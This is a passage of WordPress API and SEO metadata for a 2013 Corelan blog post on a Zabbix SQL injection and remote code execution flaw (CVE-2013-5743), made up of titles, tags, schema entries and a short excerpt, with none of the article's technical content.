class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/\"},\"author\":{\"name\":\"Corelan Team (Lincoln)\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/9605d0b07558c7917f492a508df12932\"},\"headline\":\"Zabbix SQL Injection\\\/RCE - CVE-2013-5743\",\"datePublished\":\"2013-10-04T16:53:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/\"},\"wordCount\":1637,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2013\\\/10\\\/zabbix1_thumb2.png\",\"keywords\":[\"sql injection\",\"metasploit\"],\"articleSection\":[\"Pentesting\",\"SQL Injection\",\"Web Application Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/\",\"name\":\"Zabbix SQL Injection\\\/RCE - CVE-2013-5743 - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2013\\\/10\\\/zabbix1_thumb2.png\",\"datePublished\":\"2013-10-04T16:53:44+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2013\\\/10\\\/zabbix1_thumb2.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2013\\\/10\\\/zabbix1_thumb2.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2013\\\/10\\\/04\\\/zabbix-sql-injectionrce-cve-2013-5743\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Zabbix SQL Injection\\\/RCE &#8211; CVE-2013-5743\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/9605d0b07558c7917f492a508df12932\",\"name\":\"Corelan Team (Lincoln)\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x\",\"caption\":\"Corelan Team (Lincoln)\"},\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/lincoln\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Zabbix SQL Injection\/RCE - CVE-2013-5743 - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/","og_locale":"en_US","og_type":"article","og_title":"Zabbix SQL Injection\/RCE - CVE-2013-5743 - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"Introduction First off, please do not throw a tomato at me since this is not the typical Windows binary exploit article that is posted on Corelan! During a recent a penetration test, I encountered a host running Zabbix, an agent based monitoring application. Although I was unfamiliar with the product at the time, I decided &hellip; Continue reading \"Zabbix SQL Injection\/RCE - CVE-2013-5743\"","og_url":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2013-10-04T16:53:44+00:00","og_image":[{"url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix1_thumb2.png","type":"","width":"","height":""}],"author":"Corelan Team (Lincoln)","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/"},"author":{"name":"Corelan Team (Lincoln)","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/9605d0b07558c7917f492a508df12932"},"headline":"Zabbix SQL Injection\/RCE - CVE-2013-5743","datePublished":"2013-10-04T16:53:44+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/"},"wordCount":1637,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix1_thumb2.png","keywords":["sql injection","metasploit"],"articleSection":["Pentesting","SQL Injection","Web Application Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/","url":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/","name":"Zabbix SQL Injection\/RCE - CVE-2013-5743 - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix1_thumb2.png","datePublished":"2013-10-04T16:53:44+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/#primaryimage","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix1_thumb2.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix1_thumb2.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Zabbix SQL Injection\/RCE &#8211; CVE-2013-5743"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/9605d0b07558c7917f492a508df12932","name":"Corelan Team (Lincoln)","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/49bceaeccb8ad9d7a981f1c415a2737f3415dcc1895ef84abb918dbdf94c49e2?s=96&d=mm&r=x","caption":"Corelan Team (Lincoln)"},"url":"https:\/\/www.corelan.be\/index.php\/author\/lincoln\/"}]}},"views":17124,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/10040","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=10040"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/10040\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=10040"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=10040"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=10040"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}